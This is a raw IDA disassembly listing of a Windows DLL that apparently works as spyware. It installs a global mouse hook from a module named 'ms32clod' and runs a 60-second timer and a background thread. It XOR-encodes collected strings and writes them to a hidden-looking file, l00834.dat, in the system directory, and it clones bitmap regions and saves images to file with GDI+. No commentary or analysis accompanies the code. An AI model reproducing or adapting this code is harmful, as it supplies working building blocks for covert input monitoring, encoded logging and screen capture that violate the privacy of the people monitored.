		push	offset aKpmm	; "KPMM"
		call	ds:RegisterWindowMessageA	; RegisterWindowMessageA
		mov	dword_1002C210,	eax
		push	0		; dwThreadId
		push	offset aMs32clod_8 ; "ms32clod"
		call	ds:GetModuleHandleA	; GetModuleHandleA
		push	eax		; hmod
		push	offset sub_10004960 ; lpfn
		push	7		; idHook
		call	ds:SetWindowsHookExA	; SetWindowsHookExA
		mov	dword_1006A90C,	eax
		push	0		; lpName
		push	0		; bInitialState
		push	0		; bManualReset
		push	0		; lpEventAttributes
		call	ds:CreateEventA	; CreateEventA
		mov	hHandle, eax
		push	offset sub_1000AF7F ; lpTimerFunc
		push	0EA60h		; uElapse
		push	0		; nIDEvent
		push	0		; hWnd
		call	ds:SetTimer	; SetTimer
		mov	dword_100241D4,	eax
		push	0		; lpThreadId
		push	0		; dwCreationFlags
		push	0		; lpParameter
		push	offset sub_1000B7EF ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	ds:CreateThread	; CreateThread
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_1000C9DC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 21Ch
		mov	dword ptr [ebp-218h], 0
		mov	dword ptr [ebp-214h], 0
		mov	byte ptr [ebp-204h], 3Bh


loc_1000CBBF:				; CODE XREF: .text:1000CC36j
		mov	eax, [ebp-218h]
		cmp	dword_10037024[eax*4], 0
		jz	short loc_1000CC38
		cmp	dword ptr [ebp-218h], 40h
		jge	short loc_1000CC38
		mov	ecx, [ebp+8]
		push	ecx
		mov	edx, [ebp-218h]
		mov	eax, dword_10037024[edx*4]
		push	eax
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_1000CC27
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		push	offset aSD_0	; "%s %d"
		mov	eax, [ebp-218h]
		mov	ecx, dword_10037024[eax*4]
		push	ecx
		call	ds:sprintf	; sprintf
		add	esp, 10h
		mov	dword ptr [ebp-214h], 1
		jmp	short loc_1000CC38
; ---------------------------------------------------------------------------


loc_1000CC27:				; CODE XREF: .text:1000CBF5j
		mov	edx, [ebp-218h]
		add	edx, 1
		mov	[ebp-218h], edx
		jmp	short loc_1000CBBF
; ---------------------------------------------------------------------------


loc_1000CC38:				; CODE XREF: .text:1000CBCDj
					; .text:1000CBD6j ...
		cmp	dword ptr [ebp-218h], 40h
		jge	short loc_1000CC92
		cmp	dword ptr [ebp-214h], 0
		jnz	short loc_1000CC92
		mov	eax, [ebp+8]
		push	eax
		call	ds:lstrlenA	; lstrlenA
		add	eax, 14h
		push	eax
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp-218h]
		mov	dword_10037024[ecx*4], eax
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		push	offset aSD_1	; "%s %d"
		mov	ecx, [ebp-218h]
		mov	edx, dword_10037024[ecx*4]
		push	edx
		call	ds:sprintf	; sprintf
		add	esp, 10h


loc_1000CC92:				; CODE XREF: .text:1000CC3Fj
					; .text:1000CC48j
		push	0FFh
		lea	eax, [ebp-200h]
		push	eax
		call	ds:GetSystemDirectoryA	; GetSystemDirectoryA
		push	offset aL00834_dat_0 ; "\\l00834.dat"
		lea	ecx, [ebp-200h]
		push	ecx
		call	ds:lstrcatA	; lstrcatA
		push	0
		push	80h
		push	2
		push	0
		push	2
		push	40000000h
		lea	edx, [ebp-200h]
		push	edx
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp-20Ch], eax
		mov	dword ptr [ebp-218h], 0


loc_1000CCE5:				; CODE XREF: .text:1000CDE3j
		mov	eax, [ebp-218h]
		cmp	dword_10037024[eax*4], 0
		jz	loc_1000CDE8
		cmp	dword ptr [ebp-218h], 40h
		jge	loc_1000CDE8
		mov	byte ptr [ebp-100h], 0
		mov	dword ptr [ebp-21Ch], 0
		jmp	short loc_1000CD28
; ---------------------------------------------------------------------------


loc_1000CD19:				; CODE XREF: .text:1000CD71j
		mov	ecx, [ebp-21Ch]
		add	ecx, 1
		mov	[ebp-21Ch], ecx


loc_1000CD28:				; CODE XREF: .text:1000CD17j
		mov	edx, [ebp-218h]
		mov	eax, dword_10037024[edx*4]
		push	eax
		call	ds:lstrlenA	; lstrlenA
		cmp	[ebp-21Ch], eax
		jge	short loc_1000CD73
		mov	ecx, [ebp-218h]
		mov	edx, dword_10037024[ecx*4]
		mov	eax, [ebp-21Ch]
		movsx	ecx, byte ptr [edx+eax]
		movsx	edx, byte ptr [ebp-204h]
		xor	ecx, edx
		mov	eax, [ebp-21Ch]
		mov	[ebp+eax-100h],	cl
		jmp	short loc_1000CD19
; ---------------------------------------------------------------------------


loc_1000CD73:				; CODE XREF: .text:1000CD42j
		push	0
		lea	ecx, [ebp-208h]
		push	ecx
		mov	edx, [ebp-218h]
		mov	eax, dword_10037024[edx*4]
		push	eax
		call	ds:lstrlenA	; lstrlenA
		push	eax
		lea	ecx, [ebp-100h]
		push	ecx
		mov	edx, [ebp-20Ch]
		push	edx
		call	ds:WriteFile	; WriteFile
		movsx	eax, byte ptr [ebp-204h]
		xor	eax, 0Ah
		mov	[ebp-210h], al
		push	0
		lea	ecx, [ebp-208h]
		push	ecx
		push	1
		lea	edx, [ebp-210h]
		push	edx
		mov	eax, [ebp-20Ch]
		push	eax
		call	ds:WriteFile	; WriteFile
		mov	ecx, [ebp-218h]
		add	ecx, 1
		mov	[ebp-218h], ecx
		jmp	loc_1000CCE5
; ---------------------------------------------------------------------------


loc_1000CDE8:				; CODE XREF: .text:1000CCF3j
					; .text:1000CD00j
		mov	edx, [ebp-20Ch]
		push	edx
		call	ds:CloseHandle	; CloseHandle
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+8]
		push	eax
		call	ds:lstrlenA	; lstrlenA
		push	eax
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+0Ch], eax
		mov	ecx, [ebp+0Ch]
		mov	byte ptr [ecx],	0
		mov	dword ptr [ebp-4], 0
		mov	dword ptr [ebp-8], 0
		mov	byte ptr [ebp-14h], 0
		xor	edx, edx
		mov	[ebp-13h], edx
		mov	[ebp-0Fh], edx
		mov	[ebp-0Bh], dl


loc_1000CE3E:				; CODE XREF: .text:1000CF0Ej
		mov	eax, 1
		test	eax, eax
		jz	loc_1000CF13
		push	offset dword_100739B8
		lea	ecx, [ebp-14h]
		push	ecx
		call	ds:lstrcpyA	; lstrcpyA
		mov	dword ptr [ebp-8], 0
		mov	edx, [ebp+8]
		add	edx, [ebp-4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 0Dh
		jnz	short loc_1000CE78
		mov	ecx, [ebp-4]
		add	ecx, 1
		mov	[ebp-4], ecx


loc_1000CE78:				; CODE XREF: .text:1000CE6Dj
		mov	edx, [ebp+8]
		add	edx, [ebp-4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 0Ah
		jnz	short loc_1000CE8F
		mov	ecx, [ebp-4]
		add	ecx, 1
		mov	[ebp-4], ecx


loc_1000CE8F:				; CODE XREF: .text:1000CE84j
					; .text:1000CECBj
		mov	edx, [ebp+8]
		add	edx, [ebp-4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 0Dh
		jz	short loc_1000CECD
		mov	ecx, [ebp+8]
		push	ecx
		call	ds:lstrlenA	; lstrlenA
		cmp	[ebp-4], eax
		jg	short loc_1000CECD
		push	1
		mov	edx, [ebp+8]
		add	edx, [ebp-4]
		push	edx
		lea	eax, [ebp-14h]
		push	eax
		call	ds:strncat	; strncat
		add	esp, 0Ch
		mov	ecx, [ebp-4]
		add	ecx, 1
		mov	[ebp-4], ecx
		jmp	short loc_1000CE8F
; ---------------------------------------------------------------------------


loc_1000CECD:				; CODE XREF: .text:1000CE9Bj
					; .text:1000CEAAj
		mov	edx, [ebp-4]
		add	edx, 2
		mov	[ebp-4], edx
		lea	eax, [ebp-14h]
		push	eax
		call	sub_10002881
		add	esp, 4
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jnz	short loc_1000CEED
		jmp	short loc_1000CF13
; ---------------------------------------------------------------------------


loc_1000CEED:				; CODE XREF: .text:1000CEE9j
		mov	ecx, [ebp-8]
		push	ecx
		mov	edx, [ebp+8]
		add	edx, [ebp-4]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		call	ds:strncat	; strncat
		add	esp, 0Ch
		mov	ecx, [ebp-4]
		add	ecx, [ebp-8]
		mov	[ebp-4], ecx
		jmp	loc_1000CE3E
; ---------------------------------------------------------------------------


loc_1000CF13:				; CODE XREF: .text:1000CE45j
					; .text:1000CEEBj
		mov	eax, [ebp+0Ch]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [00000021 BYTES: COLLAPSED FUNCTION std::_Iterator_base::_Iterator_base(void). PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000CF50	proc near		; CODE XREF: sub_1000105D+16p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	[edx+4], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_8]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_C]
		mov	[eax+0Ch], ecx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_1000CF50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000CF90	proc near		; CODE XREF: sub_100020B5+40Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		mov	edx, [ebp+var_8]
		push	edx
		call	dword ptr [ecx+38h]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jge	short loc_1000CFCC
		push	offset dword_10023358
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_1001C8FE


loc_1000CFCC:				; CODE XREF: sub_1000CF90+28j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_1000CF90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000CFE0	proc near		; CODE XREF: sub_100020B5+47Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx]
		mov	eax, [ebp+var_8]
		push	eax
		call	dword ptr [edx+3Ch]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jge	short loc_1000D020
		push	offset dword_10023358
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_1001C8FE


loc_1000D020:				; CODE XREF: sub_1000CFE0+2Cj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_1000CFE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000D030	proc near		; CODE XREF: sub_100020B5+5B8p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_1C]
		push	eax
		mov	ecx, [ebp+arg_18]
		push	ecx
		mov	edx, [ebp+arg_14]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		mov	ecx, [ebp+var_8]
		push	ecx
		call	dword ptr [eax+44h]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jge	short loc_1000D080
		push	offset dword_10023358
		mov	edx, [ebp+var_8]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_1001C8FE


loc_1000D080:				; CODE XREF: sub_1000D030+3Cj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	20h
sub_1000D030	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000D090	proc near		; CODE XREF: sub_100020B5+4F2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		mov	ecx, [ebp+var_8]
		push	ecx
		call	dword ptr [eax+54h]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jge	short loc_1000D0D4
		push	offset dword_10023358
		mov	edx, [ebp+var_8]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_1001C8FE


loc_1000D0D4:				; CODE XREF: sub_1000D090+30j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	14h
sub_1000D090	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000D0E0	proc near		; CODE XREF: sub_1000279F+1Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	j_GdipGetImageEncodersSize_thunk
		pop	ebp
		retn
sub_1000D0E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000D100	proc near		; CODE XREF: sub_1000279F+5Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	j_GdipGetImageEncoders_thunk
		pop	ebp
		retn
sub_1000D100	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000D120	proc near		; CODE XREF: TimerFunc+21Dp
					; TimerFunc+23Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+4]
		push	ecx
		call	j_GdipSaveImageToFile_thunk
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_1000D150
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_1000D120	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000D150	proc near		; CODE XREF: sub_1000D120+23p
					; sub_1000D200+39p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_1000D16B
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax+8], ecx
		mov	eax, [ebp+arg_0]
		jmp	short loc_1000D16E
; ---------------------------------------------------------------------------


loc_1000D16B:				; CODE XREF: sub_1000D150+Bj
		mov	eax, [ebp+arg_0]


loc_1000D16E:				; CODE XREF: sub_1000D150+19j
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000D150	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000D180	proc near		; CODE XREF: TimerFunc+433p
					; sub_1000D3A0+Ap ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_1000D1A0
		mov	esp, ebp
		pop	ebp
		retn
sub_1000D180	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000D1A0	proc near		; CODE XREF: sub_1000D180+Ap
					; sub_1000D1C0+Ap ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_1001E450
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+4]
		push	edx
		call	j_GdipDisposeImage_thunk
		mov	esp, ebp
		pop	ebp
		retn
sub_1000D1A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000D1C0	proc near		; DATA XREF: .rdata:off_1001E450o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_1000D1A0
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_1000D1E5
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_1000D1F0
		add	esp, 4


loc_1000D1E5:				; CODE XREF: sub_1000D1C0+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000D1C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000D1F0	proc near		; CODE XREF: sub_1000D1C0+1Dp
					; sub_1000D3A0+1Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	j_GdipFree_thunk
		pop	ebp
		retn
sub_1000D1F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000D200	proc near		; DATA XREF: .rdata:1001E454o
					; .rdata:1001E45Co

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_1000D200
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 14h
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_10], 0
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+4]
		push	edx
		call	j_GdipCloneImage_thunk
		push	eax
		mov	ecx, [ebp+var_1C]
		call	sub_1000D150
		push	10h
		call	sub_1000D2A0
		add	esp, 4
		mov	[ebp+var_18], eax
		mov	[ebp+var_4], 0
		cmp	[ebp+var_18], 0
		jz	short loc_1000D270
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax+8]
		push	ecx
		mov	edx, [ebp+var_10]
		push	edx
		mov	ecx, [ebp+var_18]
		call	sub_1000D2B0
		mov	[ebp+var_20], eax
		jmp	short loc_1000D277
; ---------------------------------------------------------------------------


loc_1000D270:				; CODE XREF: sub_1000D200+56j
		mov	[ebp+var_20], 0


loc_1000D277:				; CODE XREF: sub_1000D200+6Ej
		mov	eax, [ebp+var_20]
		mov	[ebp+var_14], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_1000D200	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000D2A0	proc near		; CODE XREF: sub_1000D200+40p
					; sub_1000D410+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	j_GdipAlloc_thunk
		pop	ebp
		retn
sub_1000D2A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000D2B0	proc near		; CODE XREF: sub_1000D200+66p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_1001E450
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, [ebp+var_4]
		call	sub_1000D2E0
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	[edx+8], eax
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	8
sub_1000D2B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000D2E0	proc near		; CODE XREF: sub_1000D2B0+17p
					; strstreambuf::strstreambuf(char *,int,char *)+5Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax+4], ecx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000D2E0	endp

; ---------------------------------------------------------------------------
		align 10h
; [0000007A BYTES: COLLAPSED FUNCTION strstreambuf::strstreambuf(char *,int,char *). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000017 BYTES: COLLAPSED FUNCTION sub_1000D380. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [0000002E BYTES: COLLAPSED FUNCTION sub_1000D3A0. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000034 BYTES: COLLAPSED FUNCTION sub_1000D3D0. PRESS KEYPAD "+" TO	EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000D410	proc near		; CODE XREF: sub_1000D3D0+29p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_1000D410
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		mov	[ebp+var_20], ecx
		mov	[ebp+var_10], 0
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+4]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	j_GdipCloneBitmapAreaI_thunk
		mov	edx, [ebp+var_20]
		mov	[edx+8], eax
		mov	eax, [ebp+var_20]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_1000D4C1
		push	10h
		call	sub_1000D2A0
		add	esp, 4
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], 0
		cmp	[ebp+var_1C], 0
		jz	short loc_1000D493
		mov	ecx, [ebp+var_10]
		push	ecx
		mov	ecx, [ebp+var_1C]
		call	??0strstreambuf@std@@QAE@PADH0@Z ; std::strstreambuf::strstreambuf(char	*,int,char *)
		mov	[ebp+var_24], eax
		jmp	short loc_1000D49A
; ---------------------------------------------------------------------------


loc_1000D493:				; CODE XREF: sub_1000D410+70j
		mov	[ebp+var_24], 0


loc_1000D49A:				; CODE XREF: sub_1000D410+81j
		mov	edx, [ebp+var_24]
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_18]
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_1000D4BC
		mov	ecx, [ebp+var_10]
		push	ecx
		call	j_GdipDisposeImage_thunk


loc_1000D4BC:				; CODE XREF: sub_1000D410+A1j
		mov	eax, [ebp+var_14]
		jmp	short loc_1000D4C3
; ---------------------------------------------------------------------------


loc_1000D4C1:				; CODE XREF: sub_1000D410+56j
		xor	eax, eax


loc_1000D4C3:				; CODE XREF: sub_1000D410+AFj
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	14h
sub_1000D410	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000064 BYTES: COLLAPSED FUNCTION std::strstreambuf::strstreambuf(char *,int,char *). PRESS	KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000D550	proc near		; CODE XREF: TimerFunc+F7p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	al, [eax+4]
		mov	esp, ebp
		pop	ebp
		retn
sub_1000D550	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000017 BYTES: COLLAPSED FUNCTION std::_Container_base::_Container_base(void). PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [0000008A BYTES: COLLAPSED FUNCTION std::ios_base::register_callback(void (*)(std::ios_base::event,std::ios_base &,int),int).	PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000D620	proc near		; CODE XREF: sub_10003786+387p
					; sub_10003786+3C0p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_1000D700
		mov	esp, ebp
		pop	ebp
		retn
sub_1000D620	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000D640	proc near		; CODE XREF: sub_10003786+37Cp
					; sub_10003786+3B5p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+arg_0]
		call	sub_1000D6E0
		mov	ecx, [ebp+var_4]
		call	sub_1000D700
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		mov	[eax], edx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000D640	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000D670	proc near		; CODE XREF: sub_10003786+8B1p
					; sub_10003786+91Fp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jz	short loc_1000D690
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		call	sub_1000D870
		mov	[ebp+var_8], eax
		jmp	short loc_1000D697
; ---------------------------------------------------------------------------


loc_1000D690:				; CODE XREF: sub_1000D670+Fj
		mov	[ebp+var_8], 0


loc_1000D697:				; CODE XREF: sub_1000D670+1Ej
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_1000D670	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000D6A0	proc near		; CODE XREF: sub_10003786+4CCp
